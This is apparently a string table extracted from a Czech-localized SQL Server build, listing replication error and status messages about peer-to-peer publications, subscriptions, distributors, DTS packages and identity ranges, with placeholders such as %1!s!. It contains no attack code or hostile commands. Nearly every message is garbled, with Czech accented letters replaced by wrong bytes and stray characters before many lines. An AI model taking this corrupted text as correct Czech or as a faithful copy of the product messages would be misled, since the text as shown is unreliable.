�l�nek %1!s! v odbru %2!s!:%3!s! nelze inicializovat pro publikaci %4!s!. Transak
n� replikace peer-to-peer je pro publikaci povolena, co~ nepovoluje opakov�n� inicializace odbro pomoc� sn�mku. VyYate odbr a vytvoYte jej znovu.

�Odbr nelze znovu inicializovat. Transak
n� replikace peer-to-peer je pro publikaci povolena, co~ nepovoluje opakov�n� inicializace odbro pomoc� sn�mku. VyYate odbr a vytvoYte jej znovu.

Objekty ze sch�matu [%1!s!] administrativn�ho u~ivatele replikace nelze publikovat. Toto sch�ma vlastn� vaechny replika
n� procedury a tabulky metadat, ale nemo~e vlastnit publikovan� objekty. Pro objekty, kter� chcete publikovat, zvolte jin� sch�ma.

�Topologie peer-to-peer po~aduj�, aby pYed synchronizac� byly na vaech uzlech v publikac�ch identick� 
l�nky. l�nky v publikaci [%1!s!].[%2!s!].[%3!s!] se neshoduj� s 
l�nky v publikaci [%4!s!].[%5!s!].[%6!s!].

�l�nky lze zahrnout pouze do jedn� publikace peer-to-peer. [%1!s!].[%2!s!] je ji~ zahrnut v publikaci peer-to-peer %3!s!.

�Topologie peer-to-peer po~aduj� identick� n�zvy publikac� ka~d�ho vydavatele. Pokoua�te se znovu publikovat objekt [%1!s!].[%2!s!], kter� ji~ je publikov�n v publikaci peer-to-peer [%3!s!].[%4!s!].[%5!s!].

�PYi prov�dn� pY�kazu pYed�v�n� peer-to-peer doalo k chyb. Obraete se na slu~bu z�kaznick� podpory.

�Pro publikaci %1!s!:%2!s!:%3!s! nebyla nalezena ~�dn� partnersk� publikace. Pokud k t�to chyb doalo pYi spuatn� ulo~en� procedury sp_requestpeerresponse, tak pYed dala�m vol�n�m procedury zkontrolujte, zda byly vytvoYeny odbry. Pokud k t�to chyb doalo za jin�ch okolnost�, obraete se na slu~bu z�kaznick� podpory.

�Publikace peer-to-peer %1!s! neexistuje. Chcete-li zobrazit seznam n�zvo publikac�, spusete proceduru sp_helppublication.

�Topologie peer-to-peer po~aduj� identick� n�zvy publikac� vaech vydavatelo. Agent distribuce pro publikaci [%1!s!].[%2!s!].[%3!s!] se pokoua� synchronizovat 
l�nek, kter� existuje v publikaci [%4!s!].[%5!s!].[%6!s!].

Zadan� zdrojov� objekt mus� b�t u~ivatelem definovan� agregovan� objekt, je-li publikov�n jako 
l�nek typu aggregate schema only.

pAktualiza
n� program sledov�n� replikace pro %1!s!.

�Zadan� zdrojov� objekt mus� b�t synonymum, pokud byl publikov�n jako 
l�nek typu synonym schema only.

�Pouze 
lenov� pevn� role serveru sysadmin mohou zmnit objekt %1!s!, kter� nem� definov�nu �lohu s proxy �
tem.

Bhem spouatn� procedury %1!s! doalo k chyb. Vol�n� procedury %2!s! se nezdaYilo s k�dem chyby: %3!s!, n�vratov� k�d: %4!s!.

lNelze se pYihl�sit k odbru neaktivn� publikace.

�Pro nab�zen� odbr nelze v odbrateli pYidat agenta distribuce.

xAgent distribuce ji~ pro tento odbr existuje (%1!s!).

`Zmna n�zvo publikac� ji~ nen� podporov�na.

�Objekt datab�ze %1!s! nelze publikovat, proto~e je aifrovan�.

�Vydavatele nelze pomoc� procedury sp_addpublisher pYidat. Pou~ijte proceduru sp_adddistpublisher.

�Nelze pYidat vzd�len�ho distributora. OvYte, zda je m�stn� server v distributorovi konfigurovan� jako vydavatel.

�Distributora nelze odinstalovat, proto~e jsou definov�ni odbratel�.

tZadan� procedura filtru je ji~ k tabulce pYidru~ena.

�Bylo odebr�no %1!s! replikovan�ch transakc� obsahuj�c�ch %2!s! pY�kazo v 
ase %3!s! ms (%4!s! Y�dko/ms).

4Deaktivovan� odbry.

�Vlastnost datab�ze allow_push nelze zmnit na hodnotu false. Publikace poskytuje nab�zen� odbry.

�Vlastnost datab�ze allow_pull nelze zmnit na hodnotu false. Publikace poskytuje vy~�dan� odbry.

�Hodnota parametru @optname mus� b�t transactional nebo merge.

|Mo~nost replikace %1!s! ji~ je nastavena na hodnotu true.

�Mo~nost replikace %1!s! ji~ je nastavena na hodnotu false.

8Pro slu
ovac� 
l�nek, kter� obsahuje vertik�ln� nebo horizont�ln� odd�l, nelze prov�st operaci kontroln�ho sou
tu kompatibiln� se syst�mem SQL Server 7.0. Pro 
l�nek je mo~n� prov�st ovYen� rowcount a bin�rn� operaci kontroln�ho sou
tu kompatibiln� se syst�mem SQL Server 2000.

4V distribu
n� datab�zi je pY�lia mnoho po sob jdouc�ch transakc� sn�mku. Spusete znovu agenta 
te
ky protokolu nebo vy
istte distribu
n� datab�zi.

lPYed odinstalac� replikace vyYate distributora.

 Pokud je vlastnost publikace immediate_sync nastavena na hodnotu true, mus� b�t na hodnotu true nastavena tak� vlastnost independent_agent.

LObjekt %1!s! ji~ nen� podporov�n.

�Ulo~en� procedura %1!s! je ji~ publikov�na jako nekompatibiln� typ.

x`ifrovan� Yetzec nemo~e obsahovat znaky hodnoty NULL.

�Anonymn� odbr publikace, kter� nem� nez�visl�ho agenta, nen� mo~n�.

Ulo~en� procedury replikace %1!s! nejsou nainstalov�ny. Syst�m SQL Server je tYeba nainstalovat znovu se slu~bou Replikace.

,Na tomto serveru nejsou nainstalov�ny komponenty replikace. Spusete znovu instalaci syst�mu SQL Server a vyberte mo~nost nainstalovat replikaci.

�Pokud hodnota parametru @drop_push nen� true, nelze polo~ku nab�zen�ho odbru v odbrateli vyYadit.

xN�zvy agento replikace syst�mu SQL Server nelze zmnit.

�Datov� typ post_script nen� pro 
l�nky ulo~en�ch procedur podporov�n.

PYihl�aen� k odbru se nezdaYilo, proto~e odbratel jin�ho typu ne~ SQL Server %1!s! nepodporuje re~im aktualizace sync tran.

�Server %1!s! nelze vyYadit jako distribu
n�ho vydavatele, proto~e na serveru jsou datab�ze s povolenou replikac�.

�Vlo~en� nebo aktualizovan� Y�dky odbratele nemohou b�t mimo odd�l 
l�nku.

xVlastnost vydavatele %1!s! byla �span aktualizov�na.

�Pro odbr 
i odbry je spuatn jin� agent %1!s! nebo server pracuje na dY�vja�m po~adavku pomoc� stejn�ho agenta.

LNeplatn� pracovn� adres�Y %1!s!.

\Server nepodporuje integrovan� ovYov�n�.

l�nek %1!s! obsahuje vlastn�ka c�le %2!s!. Odbratel� jin�ho typu ne~ SQL Server po~aduj�, aby mla polo~ka vlastn�k c�le hodnotu NULL.

@Publikace %1!s! neexistuje.

�Vzd�len� distribu
n� vydavatel nen� v t�to verzi serveru povolen.

Vlastnost distribu
n�ho vydavatele distributor_password nem� pro distributora se syst�mem Windows NT 4.0 vyu~it� a nen� podporov�na.

HDistributor nen� nainstalov�n.

PPYi povolov�n� publikov�n� 
i slu
ovac�ho publikov�n� datab�ze nelze ignorovat vzd�len�ho distributora (parametr @ignore_remote_distributor nemo~e m�t hodnotu 1).

�Distributora nelze odinstalovat, proto~e obsahuje datab�ze s povolen�m pro publikov�n� a slu
ovac� publikov�n�.

�Vlastnost distribution_db distribu
n�ho vydavatele nelze zmnit, proto~e vydavatel pou~�v� aktu�ln� distribu
n� datab�zi.

�M�stn�ho distribu
n�ho vydavatele nelze vyYadit, proto~e obsahuje definovan� odbratele.

PYihl�aen� %1!s! nelze pYidat do pY�stupov�ho seznamu publikace, proto~e u~ivatel nem� pY�stup k distribu
n�mu serveru %2!s!.

�PYihl�aen� %1!s! nem� opr�vnn� pro pY�stup k publikaci %2!s!, proto~e nen� v pY�stupov�m seznamu publikace.

�Pouze 
lenov� pevn� role serveru sysadmin nebo pevn� datab�zov� role db_owner v datab�zi msdb mohou prov�st tuto operaci. Chcete-li tuto operaci prov�st, obraete se na spr�vce s dostate
n�mi opr�vnn�mi.

PYihl�aen� k odbru se nezdaYilo, proto~e odbratel jin�ho typu ne~ SQL Server %1!s! nepodporuje vlastn� ulo~en� procedury.

hAktualizuj�c� odbr ve front nelze zapsat do fronty zpr�v. OvYte, zda je slu~ba MS DTC (Microsoft Distributed Transaction Coordinator) spuatna a zda je odbr aktivn� a inicializovan�. Pokud odbr vyu~�v� slu~bu Microsoft Message Queueing, ovYte, zda jsou pro frontu nastavena odpov�daj�c� opr�vnn�.

XVstupn� parametr vlastnosti nen� platn�. Chcete-li zobrazit seznam platn�ch parametro procedury sp_changemergepublication, prostudujte web Knihy online pro SQL Server.

�Aktiva
n� ud�losti odbratele se prostYednictv�m pYipojen� odkazovan�ho serveru nepodaYilo spustit pY�kaz ve vydavateli (aktiva
n� ud�losti jsou pou~�v�ny pro odbratele s aktualizuj�c�mi odbry). OvYte, zda byl odkazovan� server procedurou sp_link_publication spr�vn nakonfigurov�n a zda je pYihl�aen� pou~it� pro pYipojen� k vydavateli na pY�stupov�m seznamu publikace.

�Hodnota zadan� pro parametr %1!s! je pro funkci %2!s! neplatn�.

�Platnost odbru publikace %1!s! vypraela nebo odbr neexistuje.

|Anonymn� odbratel� nemohou m�t aktualizovateln� odbry.

�Aktualizovateln� odbr publikace %1!s! v odbrateli %2!s! ji~ existuje.

�Odbry publikac� s vlastnost� non-immediate_sync nelze znovu inicializovat.

�PYihl�aen� k odbru se nezdaYilo, proto~e odbratel jin�ho typu ne~ SQL Server %1!s! nepodporuje parametrizovan� pY�kazy.

�Stav 
l�nku %1!s! zadan� pYi pYid�v�n� 
l�nku %2!s! je neplatn�.

�Velikost Y�dku tabulky %1!s! pYekra
uje limit replikace 6 000 bajto.

�Tabulka %1!s! nemo~e b�t sou
�st� aktualizovateln�ch odbro, proto~e je publikov�na pro slu
ovac� replikaci.

XOkam~itou aktualizaci odbru nelze prov�st, odbr je neinicializovan� nebo nen� k dispozici a je ozna
en pro novou inicializaci. Pokud pou~�v�te mo~nost pro pYevzet� slu~eb pYi selh�n� ve front, spusete agenta 
te
ky fronty a inicializujte odbr. Pokus opakujte po dokon
en� nov� inicializace.

dTento odbr nepodporuje automatickou novou inicializaci (odbr je pYihl�aen s mo~nost� no sync). Chcete-li odbr znovu inicializovat, je tYeba jej vyYadit a vytvoYit znovu.

,Odbr nebyl synchronizov�n s maxim�ln� dobou uchov�n� nebo byl vyYazen vydavatelem. Chcete-li pYij�mat data, je tYeba odbr inicializovat znovu.

DZadan� publikace neexistuje.

Odbry byly ozna
eny jako neaktivn� a je tYeba je inicializovat znovu. Odbry s vlastnost� NoSync bude tYeba vyYadit a vytvoYit znovu.

hTabulka %1!s! v datab�zi odbratele neexistuje.

Informace o zabezpe
en� protokolu RPC pro vydavatele nelze naj�t nebo jsou neplatn�. Zadejte je pomoc� procedury sp_link_publication.

Sloupec msrepl_tran_version mus� b�t ve vertik�ln�m odd�lu 
l�nku povolen�ho pro aktualizovateln� odbry. Nelze jej vyYadit.

�Pro aktualizovateln� odbratele mus� existovat nastaven� serveru Allow triggers to be fired which fire other triggers (nested triggers) (Povolit spuatn� aktiva
n�ch ud�lost�, kter� spust� dala� aktiva
n� ud�losti (vnoYen� aktiva
n� ud�losti)).

PPro datab�ze odbro odbratelo, kteY� povoluj� aktualizovateln� odbry, mus� b�t hodnota vlastnosti datab�ze IsRecursiveTriggersEnabled nastavena na hodnotu false.

��roveH kompatibility datab�ze okam~it aktualizuj�c�ch odbratelo nemo~e b�t m�n ne~ 70.

`Publikace %1!s! nepovoluje anonymn� odbry.

�Doba uchov�n� mus� b�t krata� ne~ doba uchov�n� distribu
n� datab�ze.

�Doba uchov�n� distribu
n� datab�ze mus� b�t dela� ne~ doba uchov�n� jak�koli existuj�c� neslu
ovac� publikace.

�Klientsk� a anonymn� odbry nemohou znovu publikovat data odbru. Chcete-li znovu publikovat data z t�to datab�ze, mus� b�t odbr koYenov�ho vydavatele serverov�m odbrem s prioritou vta� ne~ 0. VyYate aktu�ln� odbr a vytvoYte serverov� odbr.

�Tuto operaci mohou prov�st pouze 
lenov� pevn� role serveru sysadmin.

4Metadata slu
ovac� replikace nelze upgradovat. Upgrade opakujte spuatn�m agenta slou
en� pro odbratele nebo spuatn�m agenta sn�mku pro vydavatele.

�Glob�ln� odbratel� s prioritou 0 nemaj� povoleno vytv�Yet slu
ovac� publikace.

�Tato edice syst�mu SQL Server nemo~e fungovat jako vydavatel 
i distributor replikace.

tTato edice syst�mu SQL Server nepodporuje publikace.

L%1!s! nen� tabulka ani zobrazen�.

�Tato edice syst�mu SQL Server nepodporuje transak
n� publikace.

�Pokud je zad�n parametr @command_id, musej� b�t parametry @xact_seqno_start a @xact_seqno_end identick�.

�Pokud je zad�n parametr @command_id, musej� b�t zad�ny tak� parametry @xact_seqno_start a @publisher_database_id.

x%1!s! nen� platn� hodnota parametru pro agenta sn�mku.

�%1!s! nen� platn� hodnota parametru pro agenta 
te
ky protokolu.

�%1!s! nen� platn� hodnota parametru pro agenta distribuce.

|%1!s! nen� platn� hodnota parametru pro agenta slou
en�.

�%1!s! nen� platn� hodnota pro parametr %2!s!. Hodnota mus� b�t kladn� cel� 
�slo.

�%1!s! nen� platn� hodnota pro parametr %2!s!. Hodnota mus� b�t 1, 2 nebo 3.

�%1!s! nen� platn� hodnota pro parametr %2!s!. Hodnota mus� b�t 0, 1 nebo 2.

�%1!s! nen� platn� hodnota pro parametr %2!s!. Hodnota mus� b�t vta� nebo rovna 0 a mena� nebo rovna 10 000.

�%1!s! nen� platn� hodnota pro parametr %2!s!. Hodnota mus� b�t nez�porn� cel� 
�slo.

Odbr %1!s! publikace %2!s! mohou vyYadit pouze 
lenov� pevn� role serveru sysadmin, pevn� datab�zov� role db_owner 
i vlastn�k odbru.

�Pouze 
lenov� pevn�ch rol� serveru sysadmin a %1!s! mohou vyYadit vy~�dan� odbr publikace %2!s!.

�Distribu
n� datab�zi %1!s! nelze vyYadit, proto~e se pr�v pou~�v�.

lProfil agenta %1!s! nelze v distributorovi naj�t.

N�zev tabulky nebo vlastn�ka tabulky odpov�daj�c� alternativn�mu ID tabulky (pYezd�vka) %1!s! nelze v tabulce sysmergearticles naj�t.

�Tabulka pou~it� ve slu
ovac� replikaci mus� obsahovat alespoH jeden nepo
�tan� sloupec.

�Vy~�dan� odbry nelze vytvoYit ve stejn� datab�zi jako publikaci.

�Do datab�ze %1!s! lze pYidat pouze glob�ln� slu
ovac� odbry.

�Okam~it� aktualizace nebo aktualizace ve front aktiva
n� ud�losti INSERT jsou ukon
ov�ny, proto~e se nejedn� o prvn� spuatnou aktiva
n� ud�lost. Aktiva
n� ud�lost %1!s! mo~ete nastavit na prvn� v poYad� pomoc� procedury sp_settriggerorder.

�Okam~it� aktualizace nebo aktualizace ve front aktiva
n� ud�losti UPDATE jsou ukon
ov�ny, proto~e se nejedn� o prvn� spuatnou aktiva
n� ud�lost. Aktiva
n� ud�lost %1!s! mo~ete nastavit na prvn� v poYad� pomoc� procedury sp_settriggerorder.

�Okam~it� aktualizace nebo aktualizace ve front aktiva
n� ud�losti DELETE jsou ukon
ov�ny, proto~e se nejedn� o prvn� spuatnou aktiva
n� ud�lost. Aktiva
n� ud�lost %1!s! mo~ete nastavit na prvn� v poYad� pomoc� procedury sp_settriggerorder.

Existuj� odbry heterogenn� publikace %1!s!. Chcete-li pYidat nov� 
l�nek, vyYate nejprve existuj�c� odbry t�to publikace.

 Transak
n� odbr slu
ovac� publikace %1!s! nelze vytvoYit. Typ publikace by ml pro tuto operaci b�t bu transactional(0) nebo snapshot(1).

|Publikace %1!s! nem� povoleno pou~�t nez�visl�ho agenta.

�Zadan� ID �lohy mus� identifikovat �lohu agenta distribuce nebo agenta slou
en�.

�V tabulce agenta replikace byly zjiatny nekonzistence. Zadan� ID �lohy neodpov�d� polo~ce v tabulce %1!s!.

�V tabulce agenta replikace byly zjiatny nekonzistence. Zadan� ID �lohy odpov�d� nkolika polo~k�m v tabulce %1!s!.

�Tato procedura podporuje pouze vzd�len� spuatn� agento nab�zen�ho odbru.

�Vlastnost offload_server nesm� b�t stejn� jako n�zev distributora.

�Nelze zjistit n�zev odbratele pro spuatn� agenta distribuce.

�Spuatn� agenta nelze distribuovat do odbratele, kter� se nach�z� na stejn�m serveru jako distributor.

�PY�znak @change_active nemo~e b�t zad�n pro 
l�nky s ru
n�mi filtry nebo zobrazen�mi.

`Syst�mu SQL Server %1!s! se nepodaYilo z�skat informace o 
lenstv� ve skupin Windows pro pYihl�aen� %2!s!. Zkontrolujte, zda m� �
et Windows pY�stup k dom�n pYihl�aen�.

�Mo~nost sch�matu vlastn� ulo~en� procedura je pro 
l�nek sn�mkov� publikace neplatn�.

,K odbru publikace s hodnotou dump database pro vlastnost sync_type se nelze pYihl�sit, proto~e odbratel m� pYihl�aeny odbry jin�ch publikac�.

HK odbru publikace %1!s! se nelze pYihl�sit, proto~e odbratel m� pYihl�aen odbr publikace, kter� m� pro vlastnost sync_type nastavenu hodnotu dump database.

�Hodnota parametru @use_ftp nemo~e b�t true, nen�-li z�roveH hodnota parametru @alt_snapshot_folder NULL nebo pr�zdn�.

|Datab�ze %1!s! nen� publikov�na pro slu
ovac� replikaci.

Parametry @subscriber a @subscriberdb musej� b�t sou
asn zad�ny hodnotami, kter� nejsou NULL, nebo musej� zostat nezad�ny.

�Datab�ze %1!s! nen� publikov�na pro transak
n� 
i sn�mkovou replikaci.

�Slo~ku sn�mko zadan�ho odbru nelze zjistit, proto~e distributor nezn� zadan�ho odbratele.

�PY�kazy pYed a po vytvoYen� sn�mku nejsou podporov�ny pro publikace, kter� mohou podporovat odbratele jin�ho typu ne~ SQL Server pomoc� hromadn�ho kop�rov�n� znakov�ho re~imu jako metody synchronizace.

,Odbr publikace, kter� m� pro vlastnost sync_type nastavenu hodnotu none, nelze vytvoYit pomoc� metody synchronizace concurrent 
i concurrent_c.

Xl�nek %1!s! nelze vytvoYit. Vaechny 
l�nky, kter� jsou sou
�st� publikace se soub~nou synchronizac�, mohou prov�st zmny odbratele pouze pomoc� ulo~en�ch procedur.

Tl�nek %1!s! nelze zmnit. Vaechny 
l�nky, kter� jsou sou
�st� publikace se soub~nou synchronizac�, mohou prov�st zmny odbratele pouze pomoc� ulo~en�ch procedur.

hl�nek %1!s! nelze zmnit. l�nky, kter� jsou sou
�st� publikace se soub~nou synchronizac�, nemohou m�t pro parametr ins_cmd 
i del_cmd hodnotu, kter� pYekra
uje %2!s! znako.

|Hodnota parametru @status mus� b�t initiated nebo active.

�Mo~nost komprese sn�mku lze povolit pouze pro publikaci s definovanou alternativn� slo~kou pro generov�n� sn�mko.

�Chcete-li publikaci povolit pro Internet, vlastnost ftp_address nesm� m�t hodnotu NULL.

�Pokud je publikace povolena pro Internet, vlastnost alt_snapshot_folder mus� b�t nepr�zdn�.

�Hodnota vlastnosti ftp_port mus� b�t nez�porn� cel� 
�slo mena� ne~ 65536.

Vydavatele nelze zmnit, proto~e odbr byl vyYazen. Vy
istte aktiva
n� ud�losti pomoc� procedury sp_subscription_cleanup.

�Vylou
en� sloupce rowguid pro tabulku z odd�lu je neplatn�.

�Sloupec %1!s! nelze do 
l�nku %2!s! pYidat, proto~e sn�mek publikace %3!s! byl ji~ spuatn.

�Sloupec %1!s! nelze zahrnout do vertik�ln�ho odd�lu, proto~e nemo~e m�t hodnotu null a nem� definov�nu v�choz� hodnotu.

�Sloupec %1!s! nelze vylou
it z vertik�ln�ho odd�lu, proto~e nemo~e m�t hodnotu null a nem� definov�nu v�choz� hodnotu.

<Sloupec %1!s! neexistuje.

�Zadan� ID �lohy nereprezentuje �lohu agenta %1!s! pro ~�dn� nab�zen� odbr v t�to datab�zi.

�Pouze 
lenov� pevn� role serveru sysadmin, 
lenov� pevn� datab�zov� role db_owner a vlastn�ci odbro obsluhovan�ch zadanou �lohou agenta replikace mohou zmnit nastaven� agenta pro pYesmrov�n� zpracov�n�.

Vydavatele %1!s! se v distributorovi %2!s! nepodaYilo identifikovat. Zkontrolujte, zda je server %3!s! v distributorovi zaregistrov�n.

�Zadan� odbratel nemo~e pou~�t transformovateln� odbry vyu~�vaj�c� slu~bu DTS (Data Transformation Services). Transformovateln� odbry mohou pou~�t pouze odbratel� se syst�mem SQL Server 2000, SQL Server 2005 a technologi� OLE DB.

�Bal�
ek %1!s! nelze v datab�zi msdb na serveru %2!s! naj�t.

�Chcete-li povolit slu~bu DTS, publikace mus� b�t v re~imu bcp character, concurrent_c, 
i database snapshot character.

�Chcete-li povolit slu~bu DTS, publikace mus� m�t parametr independent_agent type.

�Proto~e jsou v t�to publikaci povoleny transformovateln� odbry pomoc� slu~by DTS, jsou vy~adov�ny automaticky generovan� ulo~en� procedury a pY�kazy s parametry, kter� lze nastavit s v�choz� hodnotou parametru @status.

Vlastnosti 
l�nku ins_cmd, upd_cmd a del_cmd nelze zmnit, proto~e publikace umo~Huje pou~it� slu~by DTS 
i aktualizovateln�ch odbro.

Vlastnosti odbru mohou zmnit pouze 
lenov� pevn� role serveru sysadmin, pevn� datab�zov� role db_owner 
i tvorce odbru.

�Seznam sloupco nelze vytvoYit, proto~e je pY�lia dlouh�. VytvoYte seznam ru
n.

4Vlastnosti slu~by DTS (Data Transformation Services) nelze nastavit, proto~e v publikaci nejsou povoleny transformovateln� odbry pomoc� slu~by DTS. Chcete-li povolit transformovateln� odbry, je tYeba publikaci vyYadit a znovu vytvoYit s povolen�mi transformovateln�mi odbry.

�Hodnota parametru @dts_package_location je neplatn�. Platn� mo~nosti jsou Distributor 
i Subscriber.

�V publikaci s povolen�mi slu~bami DTS nelze povolit aktualizovateln� odbry.

�Parametr @dts_package_name lze nastavit pouze pro nab�zen� odbry.

�Parametr @agent_type mus� m�t hodnotu distribution, merge 
i NULL.

LNeplatn� n�zev vlastnosti: %1!s!.

�Parametr %1!s! je nespr�vn�: Platn� hodnoty jsou %2!s!, %3!s! 
i %4!s!.

�Odbr nebyl inicializov�n nebo nebyl vytvoYen pro operace v re~imu pYevzet� slu~eb pYi selh�n�.

�Odbr pro vydavatele %1!s! neobsahuje platn� identifik�tor queue_id.

hAktu�ln� re~im je stejn� jako po~adovan� re~im.

tFronta tohoto odbru s parametrem queue_id = %1!s! nen� pr�zdn�. Chcete-li pYed zmnou re~imu z [queued] na [immediate] ovYit, zda je fronta pr�zdn�, spusete Agenta 
te
ky fronty.

Sloupec MSrepl_tran_version je pYeddefinovan� sloupec, kter� slou~� k replikaci a mo~e m�t pouze datov� typ uniqueidentifier

4Parametry @identity_range, @pub_identity_range a @threshold nemohou m�t hodnotu NULL, pokud m� parametr @identityrangemanagementoption hodnotu AUTO.

�Spr�va rozsahu identity nen� podporov�na, proto~e tato tabulka neobsahuje sloupec identity.

�Platn� rozsah identity nen� k dispozici. Zkontrolujte datov� typ sloupce identity.

PAutomatizace identity se nezdaYila.

hPYidlen� nov�ho rozsahu identity se nezdaYilo.

LReplikace sch�matu se nezdaYila.

xTato zmna se neprojev�, dokud znovu nespust�te sn�mek.

@Publikace %1!s! neexistuje.

�VyYazen� sloupce pou~�van�ho klauzul� filtru slou
en� nen� povoleno.

�Sloupec %1!s! nelze z 
l�nku %2!s! vyYadit, proto~e sn�mek publikace %3!s! byl ji~ spuatn.

�V publikaci %1!s! nen� povolena kopie odbru nebo jej� odbr nebyl synchronizov�n.

�Odbr nelze pYipojit, proto~e v publikaci nen� povolena synchronizace zmn kopi� odbro.

�Pomocn� parametr na
ten� objektu %1!s! nelze pYelo~it, proto~e objekt nen� u~ivatelsk� tabulka.

�Nelze naj�t informace o identifik�toru zdrojov�ho objektu 
l�nku %1!s!.

�Tento krok se nezdaYil, proto~e sloupec %1!s! existuje ve vertik�ln�m odd�lu.

�Tento krok se nezdaYil, proto~e sloupec %1!s! neexistuje ve vertik�ln�m odd�lu.

�Chcete-li povolit kopii odbru, publikace mus� b�t typu immediate_sync.

TDatab�ze je pYipojen� ze souboru kopie odbru bez pou~it� pY�kazu sp_attach_subscription. Datab�zi vyYate a znovu ji pYipojte pomoc� pY�kazu sp_attach_subscription.

�Odbr nelze zkop�rovat. Tato operace podporuje pouze jednosouborov� datab�ze odbro.

�Odbratel� se bez pou~it� bal�
ku DTS nemohou pYihl�sit k odbru publikac�, ve kter�ch je povolena slu~ba DTS.

pSoubor %1!s! nelze vytvoYit, proto~e ji~ existuje.

�Alternativn�ho partnera synchronizace lze nakonfigurovat pouze ve vydavateli.

�Vydavatel %1!s!, datab�ze vydavatele %2!s! ani publikace %3!s! nejsou platn�mi partnery synchronizace.

�Vlastnost creation_script nemo~e m�t hodnotu NULL, pokud byla pro 
l�nek zad�na mo~nost sch�matu 0x0000000000000000.

�Zadan� zdrojov� objekt mus� b�t objekt ulo~en� procedury, chcete-li jej publikovat jako 
l�nek typu proc schema only.

�l�nek %1!s! nelze pYidat, proto~e byl ji~ vygenerov�n sn�mek publikace %2!s!.

�Zadan� zdrojov� objekt mus� b�t objekt zobrazen�, pokud m� j�t o typ 
l�nku VIEW SCHEMA ONLY.

�Pro proceduru, funkci, synonymum 
i 
l�nek agrega
n�ho sch�matu jsou dostupn� n�sleduj�c� mo~nosti sch�matu: 0x00000001, 0x00000020, 0x00001000, 0x00002000, 0x00400000, 0x02000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000 a 0x80000000.

�Parametr @pre_creation_command 
l�nku typu schema only mus� b�t none 
i drop.

|Vlastnost %1!s! nen� platn� pro 
l�nky typu schema only.

Chcete-li povolit vzd�lenou aktivaci agenta vy~�dan�ho odbru, vlastnost offload_server nesm� b�t pr�zdn� 
i nastaven� na hodnotu NULL.

�Datab�ze %1!s! neobsahuje vy~�dan� odbr zadan� publikace.

�Vlastnost offload_server nesm� b�t stejn� jako n�zev serveru odbratele.

Zadan� zdrojov� objekt mus� b�t u~ivatelem definovan� objekt funkce, pokud m� b�t publikov�n jako typ 
l�nku func schema only.

Pro 
l�nek typu view schema jsou dostupn� n�sleduj�c� mo~nosti sch�matu: 0x00000001, 0x00000010, 0x00000020, 0x00000040, 0x00000100, 0x00001000, 0x00002000, 0x00040000, 0x00100000, 0x00200000, 0x00400000, 0x00800000, 0x01000000, 0x08000000, 0x40000000 a 0x80000000.

�Nevolejte tuto ulo~enou proceduru zmny sch�matu, proto~e v aktu�ln� datab�zi nen� povolena replikace.

�Automatickou podporu rozsahu identity je vhodn� pou~�t v publikac�ch umo~Huj�c�ch aktualizaci odbratelo.

�Hodnoty rozsahu identity mus� b�t kladn� cel� 
�sla vta� ne~ 1.

dMezn� hodnota mus� b�t v rozmez� od 1 do 100.

\PY�kaz INSERT nelze pou~�t, proto~e tabulka obsahuje sloupec identity. Nastaven� identity_insert v odbrateli je tYeba nastavit pomoc� vlastn� ulo~en� procedury insert.

�Vlastnost 
l�nku %1!s! lze nastavit, pou~�v�-li 
l�nek automatickou spr�vu rozsahu identity.

�V odbrech vydavatele %1!s! nen� povolena kopie odbru nebo odbr nebyl synchronizov�n.

�Existuje nab�zen� odbr vydavatele %1!s!. Kop�rovat lze pouze vy~�dan� a anonymn� odbry.

Tato datab�ze je bu vydavatel, nebo existuje nab�zen� odbr publikace %1!s!. Kop�rovat lze pouze vy~�dan� a anonymn� odbry.

�Odbry nelze kop�rovat, proto~e v datab�zi nebyl nalezen ~�dn� synchronizovan� odbr.

�Tabulka %1!s! byla ji~ publikov�na jako jin� 
l�nek s odlianou mo~nost� automatick� podpory identity.

lMezn� hodnota by mla b�t v rozmez� od 1 do 100.

xTabulku konflikto 
l�nku %1!s! nelze �span vytvoYit.

�Vydavatele %1!s!, publika
n� datab�zi %2!s! ani publikaci %3!s! nelze pYidat do seznamu partnero synchronizace.

Publikace v re~imu znako nepodporuje vertik�ln� filtrov�n�, pokud z�kladn� tabulka nepodporuje sledov�n� na �rovni sloupce.

\Tabulka %1!s! nen� 
�st� publikace %2!s!.

�Tento krok se nezdaYil, proto~e tabulka %1!s! nen� sou
�st� ~�dn� publikace.

�Soubor nelze vytvoYit v um�stn� %1!s!. Zkontrolujte, zda je cesta k souboru platn�.

�Soubor odbru %1!s! nelze pYipojit. Zkontrolujte, zda je cesta k souboru platn� a zda lze soubor aktualizovat.

�Odbratel� OLE DB 
i ODBC se nemohou pYihl�sit k odbru 
l�nku %1!s! v publikaci %2!s!, proto~e 
l�nek obsahuje sloupec 
asov�ho raz�tka a publikace je typu allow_queued_tran (povoluje aktualizuj�c� odbry ve front).

�Sloupec prim�rn�ho kl�
e %1!s! nelze z vertik�ln�ho odd�lu vylou
it.

�Vydavatele %1!s!, datab�zi vydavatele %2!s! ani publikaci %3!s! nelze odebrat ze seznamu partnero synchronizace.

Odebr�n� v�choz�ho vydavatele %1!s!, publika
n� datab�zi %2!s! 
i publikaci %3!s! ze seznamu partnero synchronizace je neplatn�.

|Hodnotu TRUE parametru @add_to_active_directory nelze nastavit, proto~e klientsk� bal�
ek slu~by Active Directory nen� v po
�ta
i se spuatn�m syst�mem SQL Server spr�vn nainstalovan�.

�Operaci slu~by Active Directory v publikaci %1!s! nelze dokon
it, proto~e klientsk� bal�
ek slu~by Active Directory nen� spr�vn nainstalov�n v po
�ta
i se spuatn�m syst�mem SQL Server.

`Sloupec %1!s! ji~ existuje v tabulce %2!s!.

�Sloupec pou~it� v klauzuli filtru %1!s! v tabulce %2!s! neexistuje nebo jej nelze vylou
it z aktu�ln�ho odd�lu.

\Vlastnost %1!s! 
l�nku %2!s! je neplatn�.

Chcete-li do datab�ze %1!s! pYidat anonymn� 
i m�stn� odbr, je tYeba nejprve vyYadit vaechny existuj�c� slu
ovac� publikace.

HHodnota vlastnosti %1!s! je neplatn�. Chcete-li zobrazit seznam platn�ch parametro pY�kazu sp_changemergearticle, prostudujte web Knihy online pro SQL Server.

�Replikace sch�matu se nezdaYila, proto~e datab�ze %1!s! na serveru %2!s! nen� povodn� vydavatel tabulky %3!s!.

�M�-li b�t agent pro tento odbr pYesmrov�n pro vzd�len� spuatn�, mus� b�t zad�n server pro pYesmrov�n�.

�VyYazen� sloupce %1!s! z odd�lu se nezdaYilo, proto~e k nmu pYistupuje po
�tan� sloupec.

�Hodnota parametru %1!s! nesm� b�t NULL 
